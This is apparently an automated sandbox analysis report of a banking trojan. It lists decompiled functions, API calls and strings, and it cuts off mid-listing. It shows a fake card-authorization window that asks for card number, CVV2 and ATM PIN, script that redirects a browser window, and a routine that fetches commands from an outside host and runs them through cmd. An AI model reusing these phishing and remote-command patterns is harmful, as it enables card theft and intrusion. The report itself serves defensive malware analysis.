Similarity

API ID: File$CloseCreateHandleRead
String ID:
API String ID: 1035965006-0
Opcode ID: a7034a66a97c2ad48dbde2790ce3c97ab3afce793421e3091bb9c8eae5f15450
Instruction ID: 63f29cc0c8a63db554c35ce2faa1ceedf18d1a6f23da356bd246b66c6c3c2b62
Opcode Fuzzy Hash: a7034a66a97c2ad48dbde2790ce3c97ab3afce793421e3091bb9c8eae5f15450
Instruction Fuzzy Hash: 4DE04F22B8434036E120117A5C82F6955955B81B6CF39067BF251FA5E2D0E8A9064159

Function 00403AC7 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

browser window. THE ADDITIONA L TERMS CONTA IN A BINDING ARBITRA TION CLA USE A NDSoftware Assurance.into Order Management from other sources , xrefs: 00403B62

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID:
String ID: browser window. THE ADDITIONA L TERMS CONTA IN A BINDING ARBITRA TION CLA USE A NDSoftware Assurance.into Order Management from other sources
API String ID: 0-4076998654
Opcode ID: 71e30e22ed7aa17d5eb5796dfda6b7e5a97b13d87a54357e884cfde78ccb44a7
Instruction ID: 40709d4487810cc1922a5993d5805e7f605537f13211522c88bb602fbf3c41e4
Opcode Fuzzy Hash: 71e30e22ed7aa17d5eb5796dfda6b7e5a97b13d87a54357e884cfde78ccb44a7
Instruction Fuzzy Hash: D411845AFCE1100AC7299C312855A76E9B9C363366F6EB5BA5441F3382CA38CD0A814C

Function 004039CE Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

browser window. THE ADDITIONA L TERMS CONTA IN A BINDING ARBITRA TION CLA USE A NDSoftware Assurance.into Order Management from other sources , xrefs: 00403A22

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID:
String ID: browser window. THE ADDITIONA L TERMS CONTA IN A BINDING ARBITRA TION CLA USE A NDSoftware Assurance.into Order Management from other sources
API String ID: 0-4076998654
Opcode ID: b39da473612083b458953393f7e89ebb2f0e779550c5cde06b9b03474c2cca4d
Instruction ID: d5233873f3df390e9927d326a7b197e4f088e0b608a775f8c8ee362fb12e3d34
Opcode Fuzzy Hash: b39da473612083b458953393f7e89ebb2f0e779550c5cde06b9b03474c2cca4d
Instruction Fuzzy Hash: 85F0E559F9F204078B198C702481A77D87CC727366F65747A9492F7797DA28CD0A840D

Function 00403A6B Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58f3c8a1f9e1281dbdf0148f17ab67f2c4c2117c77419a047376376c9843a203
Instruction ID: 369b517bdf9b4a7eefb07a6653478fd64adda63123773171253af608eda399e9
Opcode Fuzzy Hash: 58f3c8a1f9e1281dbdf0148f17ab67f2c4c2117c77419a047376376c9843a203
Instruction Fuzzy Hash: DDE0BF22E9A1004BC7148E71D485A35F67CD767312F24F0758045B7252C334D906991C

Function 0042E00C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b19ef757a3db7c08c54adf90fa78ded45087a2f29c5cc2a90648ea44554c268
Instruction ID: 44b393219971a2e47edc40146be2bcda873f62d5454f9e9f1d1b61fb4f38130d
Opcode Fuzzy Hash: 6b19ef757a3db7c08c54adf90fa78ded45087a2f29c5cc2a90648ea44554c268
Instruction Fuzzy Hash: 9DE04622E9A2108FC7048E61C885A31F6B8D76B311F28F0B5C006BB262C3B8D847992C

Function 00406075 Relevance: 124.7, APIs: 52, Strings: 19, Instructions: 488
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405FFA: GetWindow.USER32(?,00000005), ref: 00406019

Part of subcall function 00405FFA: GetClassNameA.USER32(00000000,?,00000FFF), ref: 0040603B

ShowWindow.USER32(00000000), ref: 004060B9
GetWindowRect.USER32(00000000,?), ref: 004060C9
CreateWindowExA.USER32(00000200,QueenKarton,0042CBF0,50800000,00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 004060FF
CreateWindowExA.USER32(00000000,STATIC, Authorization Failed.,50800000,00000014,00000014,?,0000003C,00000000,00000000,00000000,00000200), ref: 00406135
CreateWindowExA.USER32(00000000,STATIC,0042CBF0,50800009,00000014,00000051,?,0000012C,00000000,00000000,00000000,STATIC), ref: 00406179
CreateFontA.GDI32(00000014,00000008,00000000,00000000,000002BC,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 004061A2
SendMessageA.USER32(00000030,00000000,00000001,00000000), ref: 004061B4
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,00000014,00000014,00000064,00000064,00000000,00000000,STATIC,0042CBF0), ref: 004061E2
SendMessageA.USER32(00000000,00000143,00000000,MasterCard), ref: 004061FF
SendMessageA.USER32(00000143,00000000,Visa,00000000), ref: 00406216
SendMessageA.USER32(0000014E,00000001,00000000,00000143), ref: 00406233
SendMessageA.USER32(0000014E,00000000,00000000,00000143), ref: 00406249
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,0000007A,00000014,00000032,0000012C,00000000,00000000,0000014E,00000000), ref: 0040627A
CreateWindowExA.USER32(00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX), ref: 004062B9
sprintf.CRTDLL(?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C,0000012C,00000000,00000000,00000000,COMBOBOX,0042CBF0), ref: 004062DF
SendMessageA.USER32(00000143,00000000,?,?), ref: 004062F5
sprintf.CRTDLL(?,20%.2u,-00000002,00000143,00000000,?,?,%.2u,00000001,00000000,COMBOBOX,0042CBF0,50800003,000000AE,00000014,0000003C), ref: 0040630B
SendMessageA.USER32(00000143,00000000,?,?), ref: 00406324
CreateWindowExA.USER32(00000000,STATIC,Card && expiration date,50000000,00000114,0000006E,00000081,00000010,00000000,00000000,00000143,00000000), ref: 0040636B
CreateWindowExA.USER32(00000000,STATIC,Your card number,50000000,000000C3,00000087,00000067,00000010,00000000,00000000,00000000,STATIC), ref: 004063AA
CreateWindowExA.USER32(00000000,STATIC,3-digit validation code on back of card (cvv2),50000000,00000064,000000A0,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 004063E3
CreateWindowExA.USER32(00000000,STATIC,ATM PIN-Code,50000000,000000A0,000000B9,00000056,00000010,00000000,00000000,00000000,STATIC), ref: 0040641C
CreateWindowExA.USER32(00000000,STATIC,Unable to authorize. ATM PIN-Code is required to complete the transaction.,50000000,0000001E,000000E6,000001E4,00000010,00000000,00000000,00000000,STATIC), ref: 00406455
CreateWindowExA.USER32(00000000,STATIC,Please make corrections and try again.,50000000,0000001E,000000FF,000000FD,00000010,00000000,00000000,00000000,STATIC), ref: 0040648E
CreateWindowExA.USER32(00000200,EDIT,00429180,50800000,00000014,0000002D,00000082,00000018,00000000,00000000,00000000,STATIC), ref: 004064C7
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,00000046,00000028,00000018,00000000,00000000,00000200,EDIT), ref: 00406503
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,0000005F,00000064,00000018,00000000,00000000,00000200,EDIT), ref: 00406539
CreateWindowExA.USER32(00000000,BUTTON,Click Once To Continue,50800000,0000001E,00000140,0000009B,00000017,00000000,00000000,00000200,EDIT), ref: 00406572
CreateFontA.GDI32(00000010,00000006,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 0040659B
SendMessageA.USER32(00000030,00000000,00000001,00000010), ref: 004065B3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065C3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065D3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065E3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065F9
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406609
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406619
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406632
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406642
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406652
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406662
GetWindowLongA.USER32(000000FC,00000030), ref: 0040666F
SetWindowLongA.USER32(000000FC,004077E4,00000000), ref: 00406686
GetWindowLongA.USER32(000000FC,00000001), ref: 00406699
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066B0
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066BD
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066D4
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066E1
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066F8
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406705
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 0040671C
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406732
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 00406749

Strings

DocObject, xrefs: 00406089
Please make corrections and try again., xrefs: 00406482
STATIC, xrefs: 0040612E, 00406172, 00406364, 004063A3, 004063DC, 00406415, 0040644E, 00406487
ATM PIN-Code, xrefs: 00406410
Visa, xrefs: 00406204
%.2u, xrefs: 004062D6
MasterCard, xrefs: 004061F2
3-digit validation code on back of card (cvv2), xrefs: 004063D7
QueenKarton, xrefs: 004060F5
Unable to authorize. ATM PIN-Code is required to complete the transaction., xrefs: 00406449
Card && expiration date, xrefs: 0040635F
Explorer, xrefs: 00406098
20%.2u, xrefs: 00406302
EDIT, xrefs: 004064BD, 004064F9, 0040652F
COMBOBOX, xrefs: 004061DB, 00406273, 004062B2
Your card number, xrefs: 0040639E
Click Once To Continue, xrefs: 00406566
Authorization Failed., xrefs: 00406129
BUTTON, xrefs: 0040656B

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: Window$CreateMessageSend$Long$Fontsprintf$ClassNameRectShow
String ID: Authorization Failed.$%.2u$20%.2u$3-digit validation code on back of card (cvv2)$ATM PIN-Code$BUTTON$COMBOBOX$Card && expiration date$Click Once To Continue$DocObject$EDIT$Explorer$MasterCard$Please make corrections and try again.$QueenKarton$STATIC$Unable to authorize. ATM PIN-Code is required to complete the transaction.$Visa$Your card number
API String ID: 1504929638-2953596215
Opcode ID: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction ID: 07d4a47d2009414dc6278682baa0b56b1decc7bc7d2f3e077783c243e1dcc7f7
Opcode Fuzzy Hash: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction Fuzzy Hash: 43F16F31BC43157AFA212B61ED43FA93A66AF14F44F60413AB700BD0F1DAF92911AB5D

Function 0040570C Relevance: 122.9, APIs: 56, Strings: 14, Instructions: 371
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00405730
strcat.CRTDLL(?,.htm), ref: 00405764
sprintf.CRTDLL(?,<html>), ref: 00405778
rand.CRTDLL ref: 00405786
strcat.CRTDLL(?,0042CC6C), ref: 004057A4
rand.CRTDLL ref: 004057AC
rand.CRTDLL ref: 004057BE
sprintf.CRTDLL(?,%s,?), ref: 004057DF
rand.CRTDLL ref: 004057E7
strcat.CRTDLL(?,0042CC6C), ref: 00405805
strcat.CRTDLL(?,<head>), ref: 00405819
rand.CRTDLL ref: 00405827
strcat.CRTDLL(?,0042CC6C), ref: 00405845
rand.CRTDLL ref: 0040584D
rand.CRTDLL ref: 0040585F
sprintf.CRTDLL(?,%s,?), ref: 00405880
sprintf.CRTDLL(?,%s<title>%s%u</title>,?,MicroSoft-Corp,?), ref: 004058A3
rand.CRTDLL ref: 004058B1
strcat.CRTDLL(?,0042CC6C), ref: 004058CF
strcat.CRTDLL(?,</head>), ref: 004058E3
rand.CRTDLL ref: 004058EB
strcat.CRTDLL(?,0042CC6C), ref: 00405909
strcat.CRTDLL(?,<body>), ref: 0040591D
rand.CRTDLL ref: 0040592B
rand.CRTDLL ref: 0040593D
sprintf.CRTDLL(?,%s,?), ref: 0040595E
strcat.CRTDLL(?,<script>), ref: 00405972
rand.CRTDLL ref: 0040597A
strcat.CRTDLL(?,0042CC6C), ref: 00405998
strcat.CRTDLL(?,function x()), ref: 004059AC
rand.CRTDLL ref: 004059C0
strcat.CRTDLL(?,0042CC6C), ref: 004059DE
strcat.CRTDLL(?,0042CA2E), ref: 004059F2
rand.CRTDLL ref: 004059FA
strcat.CRTDLL(?,0042CC6C), ref: 00405A18
sprintf.CRTDLL(?,%sself.parent.location="%s";,?,?), ref: 00405A42
rand.CRTDLL ref: 00405A4A
strcat.CRTDLL(?,0042CC6C), ref: 00405A68
strcat.CRTDLL(?,0042CA14), ref: 00405A7C
rand.CRTDLL ref: 00405A8A
strcat.CRTDLL(?,0042CC6C), ref: 00405AA8
rand.CRTDLL ref: 00405AB0
sprintf.CRTDLL(?,%ssetTimeout("x()",%u);,?), ref: 00405AD9
rand.CRTDLL ref: 00405AE1
strcat.CRTDLL(?,0042CC6C), ref: 00405AFF
strcat.CRTDLL(?,</script>), ref: 00405B13
rand.CRTDLL ref: 00405B27
strcat.CRTDLL(?,0042CC6C), ref: 00405B45
rand.CRTDLL ref: 00405B4D
rand.CRTDLL ref: 00405B5F
sprintf.CRTDLL(?,%s,?), ref: 00405B80
strcat.CRTDLL(?,</body><html>), ref: 00405B94
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BAC
lstrlenA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BCD
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BE9
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BF4

Strings

</script>, xrefs: 00405B07
%s<title>%s%u</title>, xrefs: 00405897
<script>, xrefs: 00405966
<head>, xrefs: 0040580D
MicroSoft-Corp, xrefs: 0040588B
function x(), xrefs: 004059A0
.htm, xrefs: 0040575E
%s, xrefs: 004057D3, 00405874, 00405952, 00405B74
%sself.parent.location="%s";, xrefs: 00405A36
<html>, xrefs: 0040576C
</head>, xrefs: 004058D7
</body><html>, xrefs: 00405B88
<body>, xrefs: 00405911
%ssetTimeout("x()",%u);, xrefs: 00405ACD

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: strcat$rand$sprintf$File$CloseCreateHandlePathTempWritelstrlen
String ID: %s$%s<title>%s%u</title>$%sself.parent.location="%s";$%ssetTimeout("x()",%u);$.htm$</body><html>$</head>$</script>$<body>$<head>$<html>$<script>$MicroSoft-Corp$function x()
API String ID: 4291226702-3565490566
Opcode ID: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction ID: 1c5cdfde58a584b0b9fe07ae47c92bc765a9e47636cc13cf9b12a0be20bdf5ec
Opcode Fuzzy Hash: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction Fuzzy Hash: 93B1CAB6F0132416EB14A262DCC6B6D31AA9B85704F6404FFF508731C2E67C6E558AFE

Function 004068B0 Relevance: 61.5, APIs: 22, Strings: 13, Instructions: 221
stringprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F5B: lstrlenA.KERNEL32(?), ref: 00405F73
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,?), ref: 00405F7E
Part of subcall function 00405F5B: LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
Part of subcall function 00405F5B: DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
Part of subcall function 00405F5B: CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
Part of subcall function 00405F5B: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
Part of subcall function 00405F5B: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
Part of subcall function 00405F5B: CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

sscanf.CRTDLL(0000003A,:%02u,?), ref: 0040695B
rand.CRTDLL ref: 00406972
sprintf.CRTDLL(?,%s\cmd.pif,00429080), ref: 004069B5
sprintf.CRTDLL(?,%s\cmd.exe,00429080,?,%s\cmd.pif,00429080), ref: 004069D1
GetWindowsDirectoryA.KERNEL32(?,00000400), ref: 004069E7
sprintf.CRTDLL(?,%s\command.pif,?,?,00000400), ref: 00406A0E
strcat.CRTDLL(?,\command.com,?,%s\command.pif,?,?,00000400), ref: 00406A1F
DeleteFileA.KERNEL32(?,?,?,?,?,00000400), ref: 00406A2E
sprintf.CRTDLL(?,%s /C %s,?,00000036,?,?,?,?,?,00000400), ref: 00406A50
WinExec.KERNEL32(?,00000000), ref: 00406A61
atoi.CRTDLL(00000035), ref: 00406A8E
sprintf.CRTDLL(?,%s\Rtdx1%i.dat,00429080,0000000C), ref: 00406AC4
lstrlenA.KERNEL32(?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406AE4
sprintf.CRTDLL(0000002F,%s/Rtdx1%i.htm,0000002F,0000000C,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B45
lstrlenA.KERNEL32(?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B54
lstrlenA.KERNEL32(0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B66
LocalAlloc.KERNEL32(00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B78
lstrlenA.KERNEL32(?,?,?,00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406BA2
CreateThread.KERNEL32(00000000,00000000,Function_0000686C,?,00000000,0000000C), ref: 00406BD6
CloseHandle.KERNEL32(00000000,00000000,00000000,Function_0000686C,?,00000000,0000000C,?,0000002F,?,?,?,00000040,?,0000002F,?), ref: 00406BDC
LocalFree.KERNEL32(?,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406C07
_sleep.CRTDLL(001B7740), ref: 00406C17

Strings

/, xrefs: 00406AF7
:%02u, xrefs: 0040694F
%s\Rtdx1%i.dat, xrefs: 00406AB8
%s\cmd.pif, xrefs: 004069A9
%s\command.pif, xrefs: 00406A02
:, xrefs: 00406934
wupd , xrefs: 00406A68
%s\cmd.exe, xrefs: 004069C5
\command.com, xrefs: 00406A13
http://tat-neftbank.ru/wcmd.htm, xrefs: 004068CC, 00406ACC
%s/Rtdx1%i.htm, xrefs: 00406B39
%s /C %s, xrefs: 00406A44
:, xrefs: 00406927

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: lstrlen$sprintf$LocalThread$AllocCloseCreateDeleteHandle$CacheCodeDirectoryEntryExecExitFileFreeObjectSingleWaitWindows_sleepatoirandsscanfstrcat
String ID: %s /C %s$%s/Rtdx1%i.htm$%s\Rtdx1%i.dat$%s\cmd.exe$%s\cmd.pif$%s\command.pif$/$:$:$:%02u$\command.com$http://tat-neftbank.ru/wcmd.htm$wupd
API String ID: 4275340860-3363018154
Opcode ID: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction ID: 18f08bfc30c9890c11dd244c38850a50baba5aa484248b9ca7ce56826a71177a
Opcode Fuzzy Hash: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction Fuzzy Hash: 328163B1E08228ABDB21A6658D46BD977BCDB04304F5105F7E60CB21C1E67C7F948F99

Function 004052E0 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 115sleepstringprocessCOMMON

Download Yara Rule

APIs

strcat.CRTDLL(?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052F8
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?), ref: 0040530B

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?), ref: 0040532C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040539F
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053B2
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053D4
Sleep.KERNEL32(00007800,00000000,00000000,00000044,?), ref: 00405426
Sleep.KERNEL32(0000F000,00007800,00000000,00000000,00000044,?), ref: 00405439
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405451
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405499
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054A5
TerminateProcess.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054B2
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054BD

Strings

X-okRecv11, xrefs: 00405458
D, xrefs: 00405334
\Iexplore.exe , xrefs: 004052EC
%s%u - Microsoft Internet Explorer, xrefs: 004053C8
MicroSoft-Corp, xrefs: 004053C3

Memory Dump Source

Source File: 00000000.00000002.1981203140.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1981163808.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981272347.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981310007.000000000042E000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981338899.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981401700.0000000000436000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1981476275.0000000000438000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_h879iieoae.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessSleepThreadstrcat$CreateCurrentDeleteDesktopFileFreeLocalTerminateTextWindowmemsetsprintf
String ID: %s%u - Microsoft Internet Explorer$D$MicroSoft-Corp$X-okRecv11$\Iexplore.exe
API String ID: 1202517094-2261298365
Opcode ID: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction ID: a5954b523feb805065d44168e487e19d6cbd8b1c6e851fe6a795fce517e83f05
Opcode Fuzzy Hash: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction Fuzzy Hash: 4F416572E442186ADB20AA65CC46BDDB3B99F50305F1444F7E208F61D1DABCAEC48F59

Function 00401B9F Relevance: 26.7, APIs: 11, Strings: 4, Instructions: 487memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(value), ref: 00401BCC

Part of subcall function 004017AC: CoInitialize.OLE32(00000000), ref: 004017CC
